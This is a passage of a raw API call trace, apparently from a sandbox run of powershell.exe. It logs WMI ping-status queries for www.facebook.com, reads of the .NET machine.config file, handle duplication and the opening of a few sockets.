psa=0x5c5de90, nDim=0x1, plLbound=0x572e434 | out: plLbound=0x572e434) returned 0x0 [0128.253] SysStringByteLen (bstr="__GENUS") returned 0xe [0128.253] SysStringByteLen (bstr="__GENUS") returned 0xe [0128.253] SysStringByteLen (bstr="__CLASS") returned 0xe [0128.253] SysStringByteLen (bstr="__CLASS") returned 0xe [0128.253] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0128.253] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0128.253] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0128.253] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0128.253] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0128.253] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0128.253] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0128.253] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0128.253] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0128.253] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0128.253] SysStringByteLen (bstr="__SERVER") returned 0x10 [0128.253] SysStringByteLen (bstr="__SERVER") returned 0x10 [0128.253] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0128.254] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0128.254] SysStringByteLen (bstr="__PATH") returned 0xc [0128.254] SysStringByteLen (bstr="__PATH") returned 0xc [0128.254] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d4180*=0, plFlavor=0x21d4184*=0 | out: pVal=0x572e598*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x21d4180*=3, plFlavor=0x21d4184*=64) returned 0x0 [0128.254] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d41b4*=0, plFlavor=0x21d41b8*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21d41b4*=8, plFlavor=0x21d41b8*=64) returned 0x0 [0128.254] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.254] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.254] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d420c*=0, plFlavor=0x21d4210*=0 | out: pVal=0x572e598*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d420c*=8, plFlavor=0x21d4210*=64) returned 0x0 [0128.254] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d4234*=0, plFlavor=0x21d4238*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21d4234*=8, plFlavor=0x21d4238*=64) returned 0x0 [0128.255] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.255] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.255] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d428c*=0, plFlavor=0x21d4290*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21d428c*=8, plFlavor=0x21d4290*=64) returned 0x0 [0128.255] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0128.255] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0128.255] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d446c*=0, plFlavor=0x21d4470*=0 | out: pVal=0x572e598*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x21d446c*=3, plFlavor=0x21d4470*=64) returned 0x0 [0128.255] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d44a0*=0, plFlavor=0x21d44a4*=0 | out: pVal=0x572e598*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5dec0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c686a8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21d44a0*=8200, plFlavor=0x21d44a4*=64) returned 0x0 [0128.256] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d44d4*=0, plFlavor=0x21d44d8*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x21d44d4*=8, plFlavor=0x21d44d8*=64) returned 0x0 [0128.256] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0128.256] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0128.256] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d4520*=0, plFlavor=0x21d4524*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x21d4520*=8, plFlavor=0x21d4524*=64) returned 0x0 [0128.256] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.256] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.256] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d456c*=0, plFlavor=0x21d4570*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21d456c*=8, plFlavor=0x21d4570*=64) returned 0x0 [0128.256] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0128.256] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0128.256] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0128.256] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0128.256] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.256] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="address", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d47a8*=0, plFlavor=0x21d47ac*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x21d47a8*=8, plFlavor=0x21d47ac*=0) returned 0x0 [0128.257] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0128.257] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0128.257] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="address", lFlags=0, pVal=0x572e62c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d47a8*=8, plFlavor=0x21d47ac*=0 | out: pVal=0x572e62c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x21d47a8*=8, plFlavor=0x21d47ac*=0) returned 0x0 [0128.257] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0128.257] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0128.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x572e000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0128.641] CoTaskMemAlloc (cb=0x20c) returned 0x5c6bb28 [0128.641] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5c6bb28, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0128.642] CoTaskMemFree (pv=0x5c6bb28) [0128.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0128.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0128.649] GetCurrentProcess () returned 0xffffffff [0128.649] GetCurrentProcess () returned 0xffffffff [0128.650] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e300, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e300*=0x514) returned 1 [0128.652] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0128.652] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0128.653] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x572e330 | out: lpFileInformation=0x572e330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0128.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.654] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x572e338 | out: lpFileInformation=0x572e338*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0128.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e270) returned 1 [0128.654] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0128.654] GetFileType (hFile=0x518) returned 0x1 [0128.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e26c) returned 1 [0128.655] GetFileType (hFile=0x518) returned 0x1 [0128.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d84c) returned 1 [0128.666] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x572db10 | out: lpFileInformation=0x572db10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0128.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d848) returned 1 [0128.921] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x572d9dc | out: pfEnabled=0x572d9dc) returned 0x0 [0128.929] GetFileSize (in: hFile=0x518, lpFileSizeHigh=0x572e32c | out: lpFileSizeHigh=0x572e32c*=0x0) returned 0x8c8e [0128.929] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e2e8, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572e2e8*=0x1000, lpOverlapped=0x0) returned 1 [0129.033] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e198, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572e198*=0x1000, lpOverlapped=0x0) returned 1 [0129.035] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e04c, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572e04c*=0x1000, lpOverlapped=0x0) returned 1 [0129.035] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e04c, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572e04c*=0x1000, lpOverlapped=0x0) returned 1 [0129.036] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e04c, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572e04c*=0x1000, lpOverlapped=0x0) returned 1 [0129.036] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572df84, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572df84*=0x1000, lpOverlapped=0x0) returned 1 [0129.043] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e0f0, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572e0f0*=0x1000, lpOverlapped=0x0) returned 1 [0129.045] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572dfe4, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572dfe4*=0x1000, lpOverlapped=0x0) returned 1 [0129.046] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572dfe4, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572dfe4*=0xc8e, lpOverlapped=0x0) returned 1 [0129.046] ReadFile (in: hFile=0x518, lpBuffer=0x2206f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e0a8, lpOverlapped=0x0 | out: lpBuffer=0x2206f4c*, lpNumberOfBytesRead=0x572e0a8*=0x0, lpOverlapped=0x0) returned 1 [0129.046] CloseHandle (hObject=0x518) returned 1 [0129.047] CloseHandle (hObject=0x510) returned 1 [0129.047] CloseHandle (hObject=0x514) returned 1 [0129.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x572dffc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0129.047] CoTaskMemAlloc (cb=0x20c) returned 0x5c6bb28 [0129.047] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5c6bb28, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0129.047] CoTaskMemFree (pv=0x5c6bb28) [0129.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0129.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0129.048] GetCurrentProcess () returned 0xffffffff [0129.048] GetCurrentProcess () returned 0xffffffff [0129.048] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x514, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e44c, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e44c*=0x510) returned 1 [0129.049] CloseHandle (hObject=0x514) returned 1 [0129.049] CloseHandle (hObject=0x510) returned 1 [0129.049] GetCurrentProcess () returned 0xffffffff [0129.049] GetCurrentProcess () returned 0xffffffff [0129.050] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e44c, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e44c*=0x514) returned 1 [0129.050] CloseHandle (hObject=0x510) returned 1 [0129.050] CloseHandle (hObject=0x514) returned 1 [0129.051] GetCurrentProcess () returned 0xffffffff [0129.051] GetCurrentProcess () returned 0xffffffff [0129.052] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x514, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e300, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e300*=0x510) returned 1 [0129.052] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x572e330 | out: lpFileInformation=0x572e330*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0129.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0129.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0129.052] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x572e338 | out: lpFileInformation=0x572e338*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0129.052] CloseHandle (hObject=0x514) returned 1 [0129.052] CloseHandle (hObject=0x510) returned 1 [0129.053] GetCurrentProcess () returned 0xffffffff [0129.053] GetCurrentProcess () returned 0xffffffff [0129.053] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e44c, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e44c*=0x514) returned 1 [0129.053] CloseHandle (hObject=0x510) returned 1 [0129.053] CloseHandle (hObject=0x514) returned 1 [0129.055] GetCurrentProcess () returned 0xffffffff [0129.055] GetCurrentProcess () returned 0xffffffff [0129.055] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x514, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e44c, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e44c*=0x510) returned 1 [0129.055] CloseHandle (hObject=0x514) returned 1 [0129.055] CloseHandle (hObject=0x510) returned 1 [0129.066] GetCurrentProcess () returned 0xffffffff [0129.066] GetCurrentProcess () returned 0xffffffff [0129.066] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e264, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e264*=0x514) returned 1 [0129.427] CloseHandle (hObject=0x510) returned 1 [0129.428] CloseHandle (hObject=0x514) returned 1 [0129.428] GetCurrentProcess () returned 0xffffffff [0129.428] GetCurrentProcess () returned 0xffffffff [0129.428] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x514, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e27c, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x572e27c*=0x510) returned 1 [0129.429] CloseHandle (hObject=0x514) returned 1 [0129.429] CloseHandle (hObject=0x510) returned 1 [0129.445] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x572e490 | out: lpWSAData=0x572e490) returned 0 [0129.452] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x52c [0129.547] setsockopt (s=0x52c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0129.547] closesocket (s=0x52c) returned 0 [0129.547] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x52c [0129.560] setsockopt (s=0x52c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0129.560] closesocket (s=0x52c) returned 0 [0129.564] GetCurrentProcess () returned 0xffffffff [0129.564] GetCurrentProcess () returned 0xffffffff [0129.564] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x52c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x572e258, dwDesiredAccess=0x0, 